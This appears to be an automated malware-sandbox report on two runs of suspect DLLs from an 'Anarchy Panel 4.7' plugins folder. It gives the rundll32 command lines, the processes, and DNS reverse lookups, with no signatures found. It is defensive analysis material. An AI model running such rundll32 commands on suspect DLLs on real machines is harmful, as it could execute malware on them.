SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Analysis: behavioral6

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win10v2004-20231023-en

Max time kernel

124s

Max time network

160s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\0guo3zbo66fqoG.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\0guo3zbo66fqoG.dll",#1

Network

Country Destination Domain Proto
US 8.8.8.8:53 146.78.124.51.in-addr.arpa udp
US 8.8.8.8:53 254.22.238.8.in-addr.arpa udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 2.136.104.51.in-addr.arpa udp
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 192.240.110.104.in-addr.arpa udp
US 8.8.8.8:53 254.7.248.8.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 209.78.101.95.in-addr.arpa udp
US 8.8.8.8:53 27.178.89.13.in-addr.arpa udp

Files

N/A

Analysis: behavioral11

Detonation Overview

Submitted

2023-11-26 16:10

Reported

2023-11-26 16:15

Platform

win7-20231023-en

Max time kernel

120s

Max time network

127s

Command Line

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\EVa7gBMKoaHmLC.dll",#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Anarchy Panel 4.7\Plugins\EVa7gBMKoaHmLC.dll",#1

Network

N/A

Files

N/A